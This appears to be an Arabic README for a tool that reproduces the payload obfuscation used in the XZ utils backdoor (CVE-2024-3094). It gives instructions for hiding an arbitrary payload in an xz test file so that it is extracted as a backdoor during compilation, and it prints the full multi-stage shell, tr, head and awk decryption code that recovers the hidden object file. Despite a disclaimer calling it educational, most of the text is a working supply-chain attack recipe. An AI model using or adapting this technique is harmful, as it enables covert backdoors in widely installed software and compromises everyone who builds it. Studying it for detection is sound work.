
نص برمجي لإخفاء حمولة بنفس الطريقة التي تم بها في هجوم أدوات XZ (CVE-2024-3094)
يقوم هذا السكريبت بإعادة إنتاج تقنية الإخفاء المستخدمة في هجوم XZ utils (CVE-2024-3094). تم اختباره فقط على xzutils الإصدار 5.6.0.
⚠️ هذا الكود مقدم لأغراض تعليمية فقط ولا ينبغي استخدامه في أنشطة ضارة. استخدمه على مسؤوليتك الخاصة. ⚠️
يجب أن يكون لديك الملف الأصلي good-large_compressed.lzma من xzutils 5.6.0 في مجلد العمل الخاص بك.
قم بتشغيل الأمر التالي
./obfuscate_payload.sh [your_payload]
سيتم إنشاء ملف good-large_compressed.lzma.modified، والذي يجب وضعه في المجلد test/files من الكود المصدري لـ xzutils 5.6.0 تحت اسم good-large_compressed.lzma.
سيتم بعد ذلك استخراج الباب الخلفي أثناء عملية التجميع.
تم اختبار هذا الكود باستخدام ملف liblzma_la-crc64-fast.o مُعدَّل بنفس حجم الملف الأصلي. قد لا يعمل استخدام ملف أكبر، لأن حجم الحمولة محدود.
هذا الجزء اختياري، ويوضح كيفية إزالة الإخفاء عن الحمولة من good-large_compressed.lzma. يمكنك استخدامه مع الملف الأصلي، أو مع ملف تم إنشاؤه باستخدام هذا المشروع.
يجب أن يكون لديك الملفان الأصليان good-large_compressed.lzma و bad-3-corrupt_lzma2.xz من xzutils 5.6.0 في مجلد العمل الخاص بك.
bad-3-corrupt_lzma2.xzgl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"' # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config
سيؤدي ذلك إلى إعطائك سكريبت bash ينفذ الخطوة 2.
good-large_compressed.lzmaقم بتشغيل الكود التالي، المأخوذ من مخرجات المرحلة الأولى
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc
سيؤدي ذلك إلى إعطائك سكريبت bash آخر ينفذ الخطوة 3.
good-large_compressed.lzmaقم بتشغيل الكود التالي، المأخوذ من مخرجات المرحلة الثانية.
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"
xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
سيؤدي ذلك إلى استخراج الحمولة المخفية liblzma_la-crc64-fast.o